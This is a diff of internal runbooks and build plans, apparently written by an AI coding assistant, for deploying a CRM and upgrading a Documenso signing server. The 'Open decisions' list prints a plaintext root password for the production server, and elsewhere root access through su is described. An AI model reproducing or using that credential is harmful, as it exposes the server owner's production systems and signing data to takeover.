(Zod schema) + `.env.example`. Critical keys:
|
||||
- `APP_URL=https://crm.portnimara.com`
|
||||
- `DATABASE_URL` (compose Postgres), `REDIS_*`
|
||||
- storage / MinIO (endpoint, access/secret, bucket) — creds file §3
|
||||
- `DOCUMENSO_API_URL` (bare host, no `/api/v1`), `DOCUMENSO_API_VERSION`, API key
|
||||
- better-auth secret, `WEBSITE_INTAKE_SECRET`, SMTP/IMAP
|
||||
- **`EMAIL_REDIRECT_TO` MUST be unset in prod.**
|
||||
- [ ] Server can pull from the registry: `docker login code.letsbe.solutions`
|
||||
with a registry token (creds file §2 — generate a Gitea token; do
|
||||
**not** bake the account password into the server).
|
||||
|
||||
### Step 1 — nginx vhost (⚠ approval)
|
||||
|
||||
1. Create `/etc/nginx/sites-available/crm_portnimara.conf` modelled on
|
||||
`portnimara_dev.conf`: port-80 → 443 redirect + `.well-known/acme-challenge`
|
||||
location; port-443 server `proxy_pass http://127.0.0.1:7100` with the same
|
||||
header block (Host, X-Real-IP, CF-Connecting-IP, X-Forwarded-_, websocket
|
||||
`Upgrade`/`Connection` for socket.io), `client_max_body_size 64M`,
|
||||
`proxy_read_timeout 300`, buffering off. **HTTP-only first** (no `ssl\__`
|
||||
lines yet) so Certbot can complete the challenge.
|
||||
2. Symlink into `sites-enabled/`.
|
||||
3. `sudo nginx -t` — must pass. Then `sudo systemctl reload nginx`.
|
||||
|
||||
### Step 2 — TLS cert (⚠ approval)
|
||||
|
||||
- `sudo certbot --nginx -d crm.portnimara.com` — pulls + installs the cert,
|
||||
rewrites the vhost with the managed `ssl_certificate` lines + 80→443
|
||||
redirect. Re-run `sudo nginx -t` + reload.
|
||||
|
||||
### Step 3 — bring up the container (⚠ approval)
|
||||
|
||||
1. Place `docker-compose.prod.yml` + the prod `.env` in the deploy dir
|
||||
(e.g. `/opt/pn-crm` — confirm location).
|
||||
2. `sudo docker login code.letsbe.solutions` (registry token).
|
||||
3. `sudo docker compose -f docker-compose.prod.yml pull`.
|
||||
4. `sudo docker compose -f docker-compose.prod.yml up -d`.
|
||||
5. **Watch for errors:** `sudo docker compose logs -f crm-app crm-worker`.
|
||||
6. Apply schema: migrations via `psql` (per CLAUDE.md `db:migrate` is broken)
|
||||
or the app's push path — confirm the prod migration approach.
|
||||
7. Seed/bootstrap the port + admin user as needed.
|
||||
|
||||
### Verify
|
||||
|
||||
- [ ] `curl -fsS https://crm.portnimara.com/api/public/health` → `{status:"ok"...}`
|
||||
- [ ] Authenticated health w/ `X-Intake-Secret` → `{checks:{db,redis}}`
|
||||
- [ ] Login loads, branding renders, a berth list + a deal render.
|
||||
- [ ] socket.io realtime connects (websocket upgrade through nginx works).
|
||||
- [ ] No `42703` column errors (restart `crm-app` after any schema change).
|
||||
|
||||
---
|
||||
|
||||
## Phase 2 — Documenso v1.13.1 → v2.x upgrade (VITAL — execute SOBER, heavily gated)
|
||||
|
||||
> **Do not execute while impaired.** This is the production signing system.
|
||||
> Every mutating step needs an explicit, sober go/no-go. The runbook below is
|
||||
> reference; the actual run is a scheduled session.
|
||||
|
||||
### Verified facts (2026-05-31 recon + research)
|
||||
|
||||
| Item | Value |
|
||||
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Current version | `documenso/documenso:v1.13.1` (Oct 2025 — last v1) |
|
||||
| Latest version | **`v2.11.0`** (May 2026). Path: 1.13.1 → 2.0.0 → … → 2.11.0 (major jump) |
|
||||
| Compose | `/root/docker-compose/documenso/docker-compose.yml` (project `documenso-production`, services `documenso` + `database`) |
|
||||
| DB | `postgres:15`, db `documenso_db`, user `admin`, vol `documenso-production_documenso-database` → `/var/lib/postgresql/data` |
|
||||
| App port | container `3000` → host `3020`; served at `https://signatures.portnimara.dev` (nginx `documenso.conf`, direct — **no Cloudflare**) |
|
||||
| Storage | external MinIO, bucket `signatures` @ `s3.portnimara.com`, region `eu-central-1` |
|
||||
| Signing cert | `/opt/documenso/certificate.p12` (+ passphrase in env) |
|
||||
|
||||
**Research conclusions (sources in chat):**
|
||||
|
||||
- **v1 API survives in v2** — _"API V1 is stable but deprecated; nothing breaks."_ So the CRM keeps working on v1 API; flip to v2 later. (Will be **explicitly re-tested against the clone in Phase 0** before committing.)
|
||||
- **Postgres 15 is v2's official DB** — no DB-engine upgrade needed.
|
||||
- **Env vars carry over unchanged**; only `NEXTAUTH_URL` is dropped in v2 (auth now derives from `NEXT_PUBLIC_WEBAPP_URL`, already set correctly) — harmless leftover.
|
||||
- Upgrade = pull new image + restart; `prisma migrate deploy` auto-runs all pending migrations on startup.
|
||||
- **Known migration-failure history** (issue #1880: NOT-NULL column added without backfill). 1.13.1 is past that one, but it's the failure pattern to expect — hence the clone dry-run.
|
||||
- The login bounce (non-`Secure` cookie / `NEXTAUTH_URL` quirk) is plausibly fixed in v2's reworked auth, but treat that as a hoped-for bonus, not the goal.
|
||||
|
||||
### Locked decisions (per Matt, 2026-05-31)
|
||||
|
||||
- Dry-run on a clone first: **yes**. Target **latest v2.11.0**, staged through v2.0.0.
|
||||
- **No-downtime caveat:** true zero-downtime is **not possible** (migrations run on restart). Goal = brief + pre-rehearsed: validate fully on the clone, pre-pull the image, then a fast prod cutover in a low-traffic window.
|
||||
- CRM stays on Documenso **v1 API** after upgrade.
|
||||
- Backups: `pg_dump` + cert + compose/env pulled to the Mac (`private/documenso-backups/`, gitignored) **and** a cold volume snapshot kept on-server for fastest rollback.
|
||||
- Privilege: root via `su` (stefan isn't in the docker group; sudo needs a password we don't have — root pass works for `su`).
|
||||
|
||||
### Phase 0 — Dry-run on a disposable clone (zero prod risk)
|
||||
|
||||
- [ ] `pg_dump -Fc documenso_db` (live, no downtime) → restore into a throwaway `postgres:15` + `documenso:v2.11.0` stack on a **different compose project + port**, with a copy of the signing cert.
|
||||
- [ ] Watch `prisma migrate deploy` run the full 1.13.1→2.11.0 chain. Confirm: all migrations succeed, app boots, **login works**, existing documents render.
|
||||
- [ ] **Re-test the CRM's v1 API calls** against the clone → expect 200s.
|
||||
- [ ] If a migration fails: capture it, fix forward (or decide a target version that's clean) BEFORE touching prod.
|
||||
|
||||
### Phase A — Prod backups (after Phase 0 passes; verified before any change)
|
||||
|
||||
- [ ] `pg_dump -Fc documenso_db` → pull to `private/documenso-backups/` on the Mac (off-box). Plus a plain SQL dump.
|
||||
- [ ] Cold volume snapshot: stop stack → `tar` `documenso-production_documenso-database` → keep on-server + copy off. (This is the gold rollback — Prisma migrations aren't reversible.)
|
||||
- [ ] Copy compose file + env + `/opt/documenso/{certificate.p12,private.key,certificate.crt}`.
|
||||
- [ ] **MinIO `signatures`**: read-only object inventory (`{key,size,lastModified,etag}`) + DB→storage-key mapping export (Document/DocumentData → storage key) so files can be re-matched if linkage breaks.
|
||||
- [ ] Test-restore the dump into a throwaway PG15; record SHA-256s.
|
||||
|
||||
### Phase B — Collation pre-fix (low risk; validate need on the clone first)
|
||||
|
||||
- [ ] `REFRESH COLLATION VERSION` on `documenso_db` (+ `template1`/`postgres`) + reindex, so the libc 2.36→2.41 mismatch can't interfere with migration index ops.
|
||||
|
||||
### Phase C — Prod upgrade (staged, pinned tags, low-traffic window)
|
||||
|
||||
- [ ] Pre-pull images. Edit compose: `v1.13.1 → v2.0.0` → `up -d` → watch migration logs → verify.
|
||||
- [ ] Then `v2.0.0 → v2.11.0` → verify. Keep `postgres:15`.
|
||||
|
||||
### Phase D — Verify
|
||||
|
||||
- [ ] Login works; an existing completed envelope's PDF resolves from MinIO; send a test envelope; **webhook reaches the CRM** (`X-Documenso-Secret`, idempotent `handleDocumentCompleted`); reminders/void work.
|
||||
- [ ] CRM unchanged (still v1 API).
|
||||
|
||||
### Phase E — Rollback (any failure)
|
||||
|
||||
- [ ] Revert image tag + restore the volume snapshot (and/or DB dump) → back to v1.13.1 exactly.
|
||||
|
||||
> Until Phase 0 passes AND a sober Phase A/C is explicitly approved step-by-step, **do not touch the Documenso container, DB, volumes, or `/opt/documenso`.**
|
||||
|
||||
---
|
||||
|
||||
## Open decisions / what I need from you
|
||||
|
||||
1. ✅ MinIO creds filled; Documenso DB creds filled (creds file §3/§4). Still need the Documenso **API token** + **webhook secret** (generate after login as `matt@portnimara.com`).
|
||||
2. **Verify the root/sudo password** (`IpMKQ0TW56ovv80` — confirmed it works for `su` to root; not stefan's sudo password).
|
||||
3. **CRM Postgres:** own (compose default) or reuse an existing instance?
|
||||
4. **Deploy dir** for the CRM on the server (`/opt/pn-crm`?).
|
||||
5. **Registry pull token** — Gitea token for `docker login` on the server.
|
||||
6. ✅ Documenso target = **v2.11.0**, staged, clone-validated first.
|
||||
7. **Maintenance window** for the (brief, unavoidable) Documenso restart downtime.
|
||||
8. **Off-box backup destination confirmed** = Mac `private/documenso-backups/` + on-server volume snapshot.
|
||||
|
||||
## Progress log
|
||||
|
||||
- 2026-05-31: Access established (SSH + Gitea API). Read-only recon done
|
||||
(nginx templates, prod compose, host port 7100). CRM deploy plan drafted.
|
||||
Documenso fully diagnosed read-only (v1.13.1, healthy app+DB, login issue =
|
||||
wrong email `@letsbe` vs `@portnimara.com` + a non-Secure-cookie quirk;
|
||||
5432 publicly exposed + brute-forced; libc collation mismatch). Researched
|
||||
v2 upgrade (v2.11.0 latest, PG15 ok, env vars carry over, v1 API survives).
|
||||
Upgrade runbook drafted. **No prod changes made; no backups taken.**
|
||||
- 2026-06-01: **Phase 0 dry-run PASSED (local, zero prod impact).** Read-only
|
||||
`pg_dump` of prod (3.5 MB — metadata only) → restored into a throwaway
|
||||
`postgres:15` → booted `documenso:v2.11.0` against it. Result: full
|
||||
v1.13.1→v2.11.0 chain applied cleanly (`All migrations have been
|
||||
successfully applied`, 140→157, none unfinished), app boots (home 302,
|
||||
signin 200, v2 api 200), and **v1 API still answers (400 not 404) → CRM
|
||||
safe**. Dump saved at `private/documenso-backups/` (off-box backup).
|
||||
Dry-run stack **torn down 2026-06-01** after the pass (`docker compose
|
||||
-p documenso-dryrun down -v` — containers + anonymous volume + network
|
||||
removed; restored clone gone, off-box dump retained). Compose file kept
|
||||
at `private/documenso-dryrun/docker-compose.yml` for a re-run. Prod
|
||||
still untouched.
|
||||
@@ -1,722 +0,0 @@
|
||||
# Documenso signing-flow build plan
|
||||
|
||||
Captures every Documenso-related piece that isn't shipped yet, in attack order. A fresh session should be able to pick this up without re-reading the whole conversation.
|
||||
|
||||
**Companion docs:**
|
||||
|
||||
- [docs/documenso-integration-audit.md](./documenso-integration-audit.md) — what's already built, v1/v2 endpoint mapping, nginx CORS block
|
||||
- Old system reference: [client-portal/server/api/eoi/generate-quick-eoi.ts](../client-portal/server/api/eoi/generate-quick-eoi.ts), [client-portal/server/api/webhooks/documenso.post.ts](../client-portal/server/api/webhooks/documenso.post.ts), [client-portal/server/services/documenso-notifications.ts](../client-portal/server/services/documenso-notifications.ts), [Port Nimara/Website/pages/sign/[type]/[token].vue](../../Port%20Nimara/Website/pages/sign/%5Btype%5D/%5Btoken%5D.vue)
|
||||
|
||||
---
|
||||
|
||||
## Locked design decisions (from user, do NOT re-ask)
|
||||
|
||||
| Q | Decision |
|
||||
| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Embedded signing host | `portnimara.com/sign/<role>/<token>` (marketing website hosts the embed page; CRM emits URLs in this format) |
|
||||
| Initial "please sign" email | **Per-port admin setting** `eoi_send_mode`: `auto` = send branded email immediately on generate; `manual` = generate + show URL + Send button |
|
||||
| Contract / Reservation generation | **Upload-and-place-fields per deal only.** EOI is the only template-driven flow. (Resolved Q6 — template-fallback dropped.) |
|
||||
| Reminder cadence | **Manual by default.** Rep clicks "Send reminder" button. Per-doc opt-in for auto-reminders at upload time. (Resolved Q1) |
|
||||
| Document expiration | **Never expire.** No `expiresAt` UI in v1. (Resolved Q2) |
|
||||
| Approver vs CC | **Two concepts**: `APPROVER` = real Documenso recipient that gates signing; `Completion CC` = passive recipient that only receives the signed PDF. (Resolved Q4) |
|
||||
| Witness | **First-class signer role.** Configurable per-document; full reminder/tracking flow. (Resolved Q7) |
|
||||
| Per-port developer label | **Configurable** via `documenso_developer_label` / `documenso_approver_label`. (Resolved Q8 bonus) |
|
||||
| Multi-port template config | All Documenso settings are per-port via `/[portSlug]/admin/documenso` (already wired) |
|
||||
| Documenso API version | Both v1 + v2 supported. Per-port config picks. v1 is prod (1.32) — primary. v2 unlocks embed + envelope |
|
||||
| nginx CORS | User applies manually. Block is in [docs/documenso-integration-audit.md](./documenso-integration-audit.md). Supports multi-origin via `set $cors_origin` regex |
|
||||
| Signer override | **Hybrid** — template docs (EOI) keep template-fixed signers (per-port settings fill the slots). Custom-uploaded docs (contract, reservation) get full per-deal signer customization. |
|
||||
| Multi-berth | EOI keeps existing bundle support. Contract/reservation are custom-uploaded PDFs — no PDF form-fill, just Documenso signature/initials/date fields |
|
||||
| Test mode | Reuse `EMAIL_REDIRECT_TO` env var (already redirects every outbound email + Documenso recipient) |
|
||||
| Regenerate handling | Match old system: 3 retries to delete prior Documenso doc with 2-second wait. **Plus** a confirm modal: "Retain old EOI? (default no)" |
|
||||
| Field placement strategy | **Auto-detect (anchor text scanner) + manual drag-drop UI as safety net.** Auto-detect populates the initial state; rep can drag/delete/reassign before sending. |
|
||||
|
||||
---
|
||||
|
||||
## What's already shipped (foundation)
|
||||
|
||||
Files in place; do NOT rebuild:
|
||||
|
||||
- `src/lib/services/port-config.ts` — extended with: `documenso_developer_name/email`, `documenso_approver_name/email`, `eoi_send_mode`, `embedded_signing_host`, `documenso_contract_template_id`, `documenso_reservation_template_id`
|
||||
- `src/app/(dashboard)/[portSlug]/admin/documenso/page.tsx` — admin UI exposes every Documenso knob across 5 cards
|
||||
- `src/lib/email/templates/document-signing.ts` — `signingInvitationEmail`, `signingCompletedEmail`, `signingReminderEmail` with per-port branding
|
||||
- `src/lib/services/document-signing-emails.service.ts` — `sendSigningInvitation`, `sendSigningReminder`, `sendSigningCompleted`. Includes `transformSigningUrl(rawUrl, host, role)` for embed URL wrapping
|
||||
- `src/lib/services/documenso-client.ts` — extended `DocumensoFieldType` to all 11 types: SIGNATURE, FREE_SIGNATURE, INITIALS, DATE, EMAIL, NAME, TEXT, NUMBER, CHECKBOX, DROPDOWN, RADIO. Plus typed `DocumensoTextFieldMeta`/`NumberFieldMeta`/`ChoiceFieldMeta` interfaces and `fieldTypeNeedsMeta(type)` helper
|
||||
- `src/components/interests/interest-eoi-tab.tsx` — EOI workspace with active-doc hero, signing progress, paper-signed upload, history strip
|
||||
- `src/components/interests/interest-contract-tab.tsx` — Contract workspace shell with paper-signed upload + "send for signing" placeholder dialog
|
||||
- `src/components/interests/interest-reservation-tab.tsx` — Reservation workspace shell (clone of Contract)
|
||||
- `src/components/interests/interest-tabs.tsx` — stage-conditional visibility wired
|
||||
|
||||
What works today end-to-end: generate EOI → Documenso template path → manual link sharing (rep copies URL out of UI). What does NOT yet work: auto-send branded invitation, cascading "your turn" emails, custom-doc upload-to-Documenso, embedded signing URL emission to the website, on-completion PDF distribution.
|
||||
|
||||
---
|
||||
|
||||
## Phase 1 — EOI generate flow polish (~3 hours)
|
||||
|
||||
> **Updated for Q1, Q4, Q6, Q8 resolutions.** Adds manual-reminder endpoint, two new per-port label settings, drop of contract/reservation template settings, schema columns for completion CCs + auto-reminder. Also folds in webhook-secret hardening (Risk #7 Option A) and `transformSigningUrl` role mapping (Risk #5 fix).
|
||||
|
||||
**Why first**: Smallest surface area, validates the per-port `eoi_send_mode` setting works end-to-end, gets the cascading-email mental model in place before tackling the bigger pieces.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **Auto-send wiring**: in `src/components/documents/eoi-generate-dialog.tsx`, after `handleGenerate()` succeeds:
|
||||
- Fetch port's `eoi_send_mode` (already on `getPortDocumensoConfig(portId)`)
|
||||
- If `auto`: server-side already sent the doc to Documenso with `sendEmail: false`. Now call new endpoint `POST /api/v1/documents/[id]/send-invitation` (build it) which:
|
||||
- Looks up the document's signers
|
||||
- Calls `sendSigningInvitation()` for the first signer (the client; signing order 1)
|
||||
- Stores `sent_at` timestamp on the signer row
|
||||
- If `manual`: do nothing. Surface the signing URL in the EOI tab + a "Send invitation" button that hits the same endpoint.
|
||||
|
||||
2. **Regenerate confirm modal**: when EOI tab's "Generate EOI" button is clicked AND a Documenso doc already exists for this interest (`activeDoc !== null`):
|
||||
- Show a `<Dialog>` asking: "There's already an EOI in flight. Regenerating will create a new document and the existing one will be cancelled."
|
||||
- Two buttons: "Cancel" (default), "Regenerate" (destructive)
|
||||
- Below the buttons, a checkbox: "Keep the previous EOI in Documenso (don't delete)" — defaults UNCHECKED
|
||||
- On confirm: if checkbox unchecked, call `voidDocument(oldId, portId)` with 3 retries + 2-second wait between (mirror old system's `generate-quick-eoi.ts` lines 110-162). Then run the normal generate flow.
|
||||
|
||||
3. **Send-invitation endpoint**: new file `src/app/api/v1/documents/[id]/send-invitation/route.ts`:
|
||||
|
||||
```ts
|
||||
POST /api/v1/documents/[id]/send-invitation
|
||||
Body: { recipientId?: string } // optional — defaults to first unsigned recipient
|
||||
```
|
||||
|
||||
- Loads the document + signers
|
||||
- Resolves the target recipient (passed-in or first unsigned in signing order)
|
||||
- Resolves port's documenso config + the recipient's signing URL from the document_signers row
|
||||
- Calls `sendSigningInvitation` from the email service
|
||||
- Updates `document_signers.invited_at` (need to add column — see schema migration below)
|
||||
|
||||
4. **Schema migration**: add `invited_at` and `last_reminder_sent_at` columns to `document_signers`:
|
||||
```sql
|
||||
ALTER TABLE document_signers ADD COLUMN invited_at timestamptz;
|
||||
ALTER TABLE document_signers ADD COLUMN last_reminder_sent_at timestamptz;
|
||||
```
|
||||
The webhook handler updates these (Phase 2). Apply via psql then restart dev server (per CLAUDE.md migration note).
|
||||
|
||||
### Acceptance criteria
|
||||
|
||||
- Setting `eoi_send_mode=auto` in admin → generating an EOI fires off our branded HTML email to the client immediately
|
||||
- Setting `eoi_send_mode=manual` → no email fires; "Send invitation" button in EOI tab hits the endpoint
|
||||
- Clicking Generate when an active EOI exists → confirm dialog with checkbox; default deletes prior doc with retries
|
||||
|
||||
---
|
||||
|
||||
## Phase 2 — Webhook handler enhancement (~3-4 hours)
|
||||
|
||||
**Why second**: Once invitations are flowing (Phase 1), the webhook needs to track the lifecycle and fire the cascading "your turn" emails as each signer completes. Without this, the system goes silent after the initial invite.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **Extend `src/app/api/webhooks/documenso/route.ts`** to handle `DOCUMENT_OPENED`, `DOCUMENT_SIGNED`, `DOCUMENT_COMPLETED` (DOCUMENT_OPENED currently ignored).
|
||||
|
||||
2. **For `DOCUMENT_SIGNED`** (fires when one recipient signs, can fire multiple times per doc):
|
||||
- Resolve the (port, document, signer) — existing per-port secret lookup already does this
|
||||
- Update `document_signers.signed_at` for the matching signer
|
||||
- Find the next unsigned signer in signing order
|
||||
- If next signer exists AND we haven't already invited them: call `sendSigningInvitation()` with the next signer + their signing URL + role='developer' (or 'approver' depending on signing order). Mark `document_signers.invited_at` for them.
|
||||
- This is the cascading "your turn" flow that mirrors `client-portal/server/services/documenso-notifications.ts`
|
||||
|
||||
3. **For `DOCUMENT_OPENED`**:
|
||||
- Update `document_signers.opened_at` for the matching recipient (matched by token in payload)
|
||||
- Used for analytics later ("12% of clients open within an hour")
|
||||
|
||||
4. **For `DOCUMENT_COMPLETED`** (fires once when all signers have signed):
|
||||
- Update document `status='completed'`, `completed_at=...`
|
||||
- Download signed PDF: `await downloadSignedPdf(documensoId, portId)` (existing)
|
||||
- Store in storage backend via the file ingestion flow — this creates a `files` row
|
||||
- Update the document row to point at the signed file (`signed_file_id`)
|
||||
- Call `sendSigningCompleted()` with all signers + the signed file's id
|
||||
- Update the linked interest's pipeline stage:
|
||||
- If document type = `eoi` → `eoi_signed`
|
||||
- If document type = `contract` → `contract_signed`
|
||||
- If document type = `reservation_agreement` → leave stage; reservation is post-deal-close anyway
|
||||
|
||||
5. **Recipient-token matching**: webhooks include `payload.recipients[]` with each recipient's `token`. Use the token to match against `document_signers.signing_token` (need to add the column if not already). Old system's webhook does this via email match — fragile when the same email serves multiple roles. Token match is robust.
|
||||
|
||||
6. **Idempotency**: webhook can fire duplicates. Old system's `acquireWebhookLock` + signature comparison pattern is good. Port that logic.
|
||||
|
||||
### Schema migration
|
||||
|
||||
```sql
|
||||
-- Add fine-grained tracking columns to document_signers
|
||||
ALTER TABLE document_signers ADD COLUMN invited_at timestamptz;
|
||||
ALTER TABLE document_signers ADD COLUMN opened_at timestamptz;
|
||||
ALTER TABLE document_signers ADD COLUMN last_reminder_sent_at timestamptz;
|
||||
ALTER TABLE document_signers ADD COLUMN signing_token text; -- index this
|
||||
|
||||
CREATE INDEX idx_ds_signing_token ON document_signers (signing_token);
|
||||
```
|
||||
|
||||
### Acceptance criteria
|
||||
|
||||
- Client signs → developer receives our branded "your turn" email within seconds
|
||||
- Developer signs → approver receives the same
|
||||
- All signed → all three recipients receive the signed PDF as attachment
|
||||
- Interest's pipeline stage advances to `eoi_signed` automatically
|
||||
- Re-firing of duplicate webhooks is no-op
|
||||
|
||||
---
|
||||
|
||||
## Phase 3 — Custom document upload-to-Documenso (~6-8 hours)
|
||||
|
||||
**Why third**: Backend foundation for contract + reservation flows. Without this, the "Upload draft for signing" CTA on those tabs is a placeholder.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **New service** `src/lib/services/custom-document-upload.service.ts`:
|
||||
|
||||
```ts
|
||||
export async function uploadDocumentForSigning(args: {
|
||||
interestId: string;
|
||||
portId: string;
|
||||
documentType: 'contract' | 'reservation_agreement';
|
||||
pdfBuffer: Buffer;
|
||||
filename: string;
|
||||
title: string;
|
||||
recipients: Array<{
|
||||
name: string;
|
||||
email: string;
|
||||
role: 'SIGNER' | 'APPROVER' | 'CC';
|
||||
signingOrder: number;
|
||||
}>;
|
||||
fields: DocumensoFieldPlacement[]; // from auto-detect or manual placement
|
||||
}): Promise<{ documentId: string; signingUrls: Record<string, string> }>;
|
||||
```
|
||||
|
||||
Steps:
|
||||
- Convert pdfBuffer → base64
|
||||
- Call `createDocument(title, base64, recipients, portId)` — existing client function
|
||||
- Call `placeFields(docId, fields, portId)` — existing client function (handles v1 + v2)
|
||||
- Call `sendDocument(docId, portId)` — existing
|
||||
- Return doc ID + per-recipient signing URLs
|
||||
- Mirror the timing-safe URL extraction from old system's generate-quick-eoi (recipients[].signingUrl)
|
||||
- Insert a row into our `documents` table with the new doc_id + signers + interest link
|
||||
- If port's `eoi_send_mode === 'auto'`: kick off `sendSigningInvitation()` to first signer
|
||||
|
||||
2. **API endpoint**: `POST /api/v1/interests/[id]/upload-for-signing`
|
||||
- Accepts multipart: `file` (the PDF), `documentType`, `title`, `recipients` (JSON), `fields` (JSON)
|
||||
- Validates: file is PDF (magic-byte check, see berth-pdf flow), recipients ≥ 1, fields ≥ 1
|
||||
- Calls service
|
||||
- Returns 201 with the new document row
|
||||
|
||||
3. **Update Contract + Reservation tab placeholders** to open a real upload dialog (see Phase 4).
|
||||
|
||||
### Acceptance criteria
|
||||
|
||||
- Endpoint accepts a PDF + recipients + fields and returns a Documenso doc ID
|
||||
- Document appears in the Documents tab with status `sent`
|
||||
- v1 and v2 paths both work (same code path; client chooses based on per-port config)
|
||||
|
||||
---
|
||||
|
||||
## Phase 4 — Recipient configurator + Field placement UI (~10-14 hours)
|
||||
|
||||
**Why fourth**: This is the BIG visual piece. Don't start until Phase 3 backend is proven via curl.
|
||||
|
||||
### Sub-phase 4a: Recipient configurator (~2-3 hours)
|
||||
|
||||
UI inside a new `<UploadForSigningDialog>` component:
|
||||
|
||||
- File picker (drag-drop + click)
|
||||
- Title input (defaults to filename minus extension)
|
||||
- Recipients list:
|
||||
- Add row → name + email + role (SIGNER/APPROVER/CC) + signing order (number, auto-increments)
|
||||
- Drag to reorder (uses `dnd-kit`, already in deps)
|
||||
- Delete row
|
||||
- Defaults: client (signing order 1) prefilled from interest's linked client; developer + approver prefilled from port settings
|
||||
- "Configure fields →" button advances to sub-phase 4b
|
||||
|
||||
### Sub-phase 4b: PDF rendering (~3-4 hours)
|
||||
|
||||
- Install: `pnpm add react-pdf` (uses pdfjs-dist under the hood; pdfme already pulls pdfjs-dist so no new dep weight)
|
||||
- Render the uploaded PDF page-by-page using `<Document>` + `<Page>` from react-pdf
|
||||
- Page navigation (prev/next, page picker)
|
||||
- Zoom controls (50%, 75%, 100%, 125%, 150%)
|
||||
|
||||
### Sub-phase 4c: Auto-detect scanner (~4-6 hours)
|
||||
|
||||
New file `src/lib/services/document-field-detector.ts`:
|
||||
|
||||
```ts
|
||||
export interface DetectedField {
|
||||
type: DocumensoFieldType;
|
||||
pageNumber: number;
|
||||
pageX: number; // 0-100 percent
|
||||
pageY: number;
|
||||
pageWidth: number;
|
||||
pageHeight: number;
|
||||
/** Confidence 0-1 — how sure the scanner is. */
|
||||
confidence: number;
|
||||
/** Original anchor text (for debugging / display). */
|
||||
anchorText?: string;
|
||||
/** Inferred recipient (from nearby labels). null = unassigned. */
|
||||
inferredRecipientLabel?: string | null;
|
||||
}
|
||||
|
||||
export async function detectFields(pdfBuffer: Buffer): Promise<DetectedField[]>;
|
||||
```
|
||||
|
||||
Implementation:
|
||||
|
||||
- Use `pdfjs-dist` to extract text per page with `getTextContent()` — gives `{str, transform: [a,b,c,d,e,f]}` per text item where `e,f` is position in PDF user space, plus `width/height`
|
||||
- Anchor patterns:
|
||||
- `SIGNATURE`: `/signature[:\s_-]+/i`, `/sign\s*here[:\s_-]*/i`, `/X\s*_{4,}/i`, `/signed\s*by[:\s]+/i`
|
||||
- `INITIALS`: `/initials?[:\s_-]+/i`
|
||||
- `DATE`: `/dated?[:\s_-]+/i`, `/date\s+of\s+signature/i`
|
||||
- `NAME`: `/(printed?\s*)?name[:\s_-]+/i`, `/full\s+name[:\s_-]+/i`
|
||||
- `EMAIL`: `/email[:\s_-]+/i`
|
||||
- Catch-all: `/_{8,}/` → if not preceded by name/email/date keyword, default to TEXT
|
||||
- For each match: place field bounding box immediately AFTER the matched text (offset 5pt right), with type-appropriate width:
|
||||
- SIGNATURE: 150pt × 30pt
|
||||
- INITIALS: 50pt × 30pt
|
||||
- DATE: 80pt × 20pt
|
||||
- NAME: 150pt × 20pt
|
||||
- EMAIL: 200pt × 20pt
|
||||
- TEXT: 200pt × 20pt
|
||||
- Convert to PERCENT (divide by page width/height)
|
||||
- Recipient inference: scan ±100pt of the field for labels like "Buyer", "Seller", "Client", "Developer", "Witness", "Notary". Map to recipient by role.
|
||||
|
||||
### Sub-phase 4d: Drag-drop overlay (~3-4 hours)
|
||||
|
||||
- Overlay absolute-positioned divs on top of the PDF viewer for each field
|
||||
- Each field shows: type icon + recipient color + delete (×) handle + drag affordance
|
||||
- Use `dnd-kit` to enable drag — update `pageX/pageY` in state on drop
|
||||
- Field palette toolbar: 11 buttons (one per Documenso field type) — click to enter "place mode" → next click on the PDF places a new field at that coord
|
||||
- Side panel for selected field:
|
||||
- Type changer (dropdown)
|
||||
- Recipient assignment (dropdown of configured recipients)
|
||||
- Required toggle
|
||||
- Per-type config (TEXT label, NUMBER min/max, CHECKBOX/DROPDOWN/RADIO options) — drives `fieldMeta`
|
||||
- Width/height inputs
|
||||
- Delete button
|
||||
|
||||
### Sub-phase 4e: Send (~1 hour)
|
||||
|
||||
"Send for signing" button:
|
||||
|
||||
- Validates: ≥1 recipient, ≥1 field, every field has a recipient assigned
|
||||
- POSTs to `/api/v1/interests/[id]/upload-for-signing` (Phase 3)
|
||||
- On success, closes dialog and refreshes the Contract/Reservation tab
|
||||
|
||||
### Acceptance criteria
|
||||
|
||||
- Upload a draft PDF → auto-detect runs → fields appear overlaid in their detected positions
|
||||
- Rep can drag any field to reposition (state updates, persists to backend on send)
|
||||
- Rep can change a field's type, recipient, or metadata via side panel
|
||||
- Rep can add new fields by clicking palette button + clicking on PDF
|
||||
- Rep can delete fields they don't want
|
||||
- Click Send → fields ship to Documenso, signing flow starts, Contract tab shows the active doc
|
||||
|
||||
---
|
||||
|
||||
## Phase 5 — Embedded signing URL emission verification (~1-2 hours)
|
||||
|
||||
**Why later**: The Vue page on the marketing website already exists. This phase is a verification + documentation pass, not a code build.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **Verify URL transformation matches website expectations**:
|
||||
- Website route: `/sign/[type]/[token]` where `type ∈ {client, cc, developer}`
|
||||
- Our `transformSigningUrl()` emits `/sign/<role>/<token>` where role can be `client | developer | approver | witness | other`
|
||||
- Mismatch: website only handles `client | cc | developer`. Our email service may emit `approver` (which the website doesn't route).
|
||||
- **Fix**: either (a) update website's `[type].vue` to accept `approver` (and `witness | other` if needed), OR (b) map our role names to the website's expected names in `transformSigningUrl()`.
|
||||
|
||||
2. **For contract + reservation document types**: the website's `signerMessages` map only covers EOI-specific copy. When a contract goes out for signing and the recipient hits `portnimara.com/sign/client/<token>`, the page would show "Sign Your Expression of Interest" — wrong copy.
|
||||
- **Fix**: add document-type to the URL too: `/sign/<docType>/<role>/<token>`. Update website's signerMessages to be keyed on `(docType, role)`.
|
||||
|
||||
3. **Webhook callback URL**: website POSTs to `client-portal.portnimara.com/api/webhook/document-signed` after signing. The new CRM is at a different domain. Update website's `handleDocumentSigned` to POST to the new CRM's webhook (a thin "client confirmed sign" notification, separate from Documenso's own webhook).
|
||||
|
||||
4. **Apply nginx CORS block** — already documented in [docs/documenso-integration-audit.md](./documenso-integration-audit.md). Apply via ssh when user grants access.
|
||||
|
||||
### Acceptance criteria
|
||||
|
||||
- Embedded URL points at a working website page that loads the right Documenso embed for any document type / role combo
|
||||
- Post-sign callback updates our document_signers row (redundant with the Documenso webhook but useful as a real-time UI signal)
|
||||
|
